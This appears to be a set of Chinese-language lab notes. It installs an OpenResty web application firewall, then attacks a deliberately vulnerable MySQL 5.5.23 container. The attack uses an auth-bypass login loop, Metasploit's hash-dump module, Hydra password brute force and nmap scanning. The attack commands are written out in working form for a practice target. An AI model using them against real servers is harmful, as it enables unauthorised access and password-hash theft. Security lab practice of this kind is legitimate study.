sudo yum install -y readline-devel pcre-devel openssl-devel git wget vim openssl-devel gcc curl wget

# 直接yum
sudo yum install -y yum-utils
sudo yum-config-manager --add-repo https://openresty.org/package/centos/openresty.repo

sudo yum install -y openresty openresty-resty openresty-opm restydoc

# 编译安装
wget https://openresty.org/download/openresty-1.15.8.1.tar.gz
tar -xvf openresty-1.15.8.1.tar.gz
cd openresty-1.15.8.1
sudo ./configure --prefix=/usr/local/openresty --with-luajit --with-http_stub_status_module --with-pcre --with-pcre-jit
sudo gmake
sudo gmake install

# 下载WAF并配置
git clone https://github.com/unixhot/waf.git
sudo cp -a ./waf/waf /usr/local/openresty/nginx/conf/
sudo chown root:root -R /usr/local/openresty/nginx/conf/waf

sudo vim /usr/local/openresty/nginx/conf/nginx.conf
# 再http中加上如下
http{
 lua_shared_dict limit 50m;
 lua_package_path "/usr/local/openresty/nginx/conf/waf/?.lua";
 init_by_lua_file "/usr/local/openresty/nginx/conf/waf/init.lua";
 access_by_lua_file "/usr/local/openresty/nginx/conf/waf/access.lua";

sudo vim /etc/profile
# 加上
export PATH=/usr/local/openresty/bin:$PATH

# 复制一个启动脚本
https://www.nginx.com/resources/wiki/start/topics/examples/redhatnginxinit

# 主要就是waf中的config.lua和具体的规则

# 测试.比如,创建一个a.sql
curl http://192.168.137.30/a.sql
  # 会跳转到防火墙页面

sudo yum install -y docker docker-compose
sudo vi /etc/docker/daemon.json
# 内容如下
{
  "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/"]
}

sudo systemctl daemon-reload
sudo systemctl restart docker

sudo vim docker-compose.yml
# 内容如下
version: '2'
services:
  mysql:
    image: vulhub/mysql:5.5.23
    ports:
      - "3306:3306"

sudo systemctl start docker
sudo docker-compose up -d

sudo docker inspect 容器ID | grep IPAddress
  # 获取ip
# 默认的mysql密码是123456
mysql -uroot -p123456 -h 172.18.0.2
  # 测试使用正确的密码登录

# 使用for循环破解
for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

# 使用msf
# 安装msf,这里就直接在一台机器上做了
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall
sudo ./msfinstall

sudo msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
  # 加载模块
show options
  # 可以看看具体的选项
set RHOSTS 172.18.0.2

exploit
  # 或者run也行
  # 会输出密码的hash值

# Hydra爆破密码
wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip
sudo yum install -y gcc libssh-devel openssl-devel unzip zip
unzip master.zip
cd thc-hydra-master/
sudo ./configure
sudo make && sudo make install

# 下载一个password.txt开始爆破
sudo hydra -l root -P password.txt mysql://172.18.0.2 -vV

sudo yum install -y https://nmap.org/dist/nmap-7.70-1.x86_64.rpm

sudo nmap -sV -Pn --open -p3306 172.18.0.2
  # -sV:显示版本信息
  # -Pn:跳过查找host
  # --open:显示开放的端口
  # -p:端口

telnet 172.18.0.2 3306
  # 也是可以显示MySQL的版本信息

sudo msfconsole
use auxiliary/scanner/mysql/mysql_version
  # 也是一样